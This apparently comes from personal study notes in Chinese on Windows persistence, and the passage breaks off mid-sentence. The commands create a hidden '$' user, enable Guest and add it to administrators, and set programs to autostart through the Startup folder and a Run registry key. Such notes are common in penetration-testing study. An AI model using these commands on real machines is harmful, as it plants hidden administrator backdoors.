windows权限维持

隐藏系统用户

 net user test$ test /add

这时使用 “net user” 无法发现隐藏用户，但是可以从控制面板查看 

激活 Guest 用户：（来宾用户默认是没有激活的）

        net user guest Admin@hacker && net localgroup administrators guest /add

        net user guest /active:yes 

 

 程序自启动

快速启动路径 

在C:\Users\wxt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup下放入文件 

注册表 

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v aarsvc /t REG_SZ /d "C:\Users\wxt\Desktop\*.txt" 

HKCU：根键 HKEY_CURRENT_USER的缩写
另外几个缩写：HKCR、<